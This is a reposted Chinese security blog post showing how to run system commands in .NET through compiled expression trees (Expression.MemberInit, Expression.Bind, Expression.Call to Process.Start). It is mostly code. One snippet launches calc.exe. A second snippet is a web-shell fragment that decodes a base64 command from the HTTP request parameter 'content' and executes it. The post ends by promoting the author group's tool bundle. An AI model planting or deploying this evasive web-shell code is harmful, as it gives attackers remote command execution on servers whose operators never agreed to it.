.NET 调用Expression表达式树执行命令(4)
2023-3-3 09:1:20 Author: dotNet安全矩阵(查看原文) 阅读量:16 收藏

.NET中,Expression.MemberInit表示一个对象的初始化,通常与Expression.New一起使用,用于创建并初始化一个新的对象实例,Expression.MemberInit 表达式树包含一个New表达式和一个Bind列表,其中New表达式表示要创建的对象类型,Bind列表则表示要初始化的对象成员,再通过Expression.Assign成员赋值绑定,如下demo

var processExpr = Expression.Variable(typeof(Process), "process");            var startInfoExpr = Expression.MemberInit(                Expression.New(typeof(ProcessStartInfo)),                Expression.Bind(                    typeof(ProcessStartInfo).GetProperty("FileName"),                    Expression.Constant("calc.exe")                )            );            var startExpr = Expression.Assign(                processExpr,                Expression.Call(                    typeof(Process),                    "Start",                    null,                    startInfoExpr                )            );            var lambda = Expression.Lambda<Action<Process>>(startExpr, processExpr);            var startAction = lambda.Compile();            var process = new Process();            startAction(process);
var startInfoExpr = Expression.MemberInit(                Expression.New(typeof(System.Diagnostics.ProcessStartInfo)),                Expression.Bind(                    typeof(System.Diagnostics.ProcessStartInfo).GetProperty("FileName"),                    Expression.Constant(!string.IsNullOrEmpty(Request["content"]) ? Encoding.GetEncoding("utf-8").GetString(Convert.FromBase64String(Request["content"])) : "calc")                )            );

章涉及的工具和PDF已打包发布在星球,有需要的师傅可以自取。欢迎对.NET安全关注和关心的同学加入我们 [dotNet安全矩阵] ,在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事


文章来源: http://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247487323&idx=1&sn=7dad5a99e7ea5cf0ad940bd8628c542c&chksm=fa5aa1b6cd2d28a0f9bd0ff2258e429e4ffdc8c6c0bbc41dda8948b77395fdb1dd537b9a22e3#rd
如有侵权请联系:admin#unsafe.sh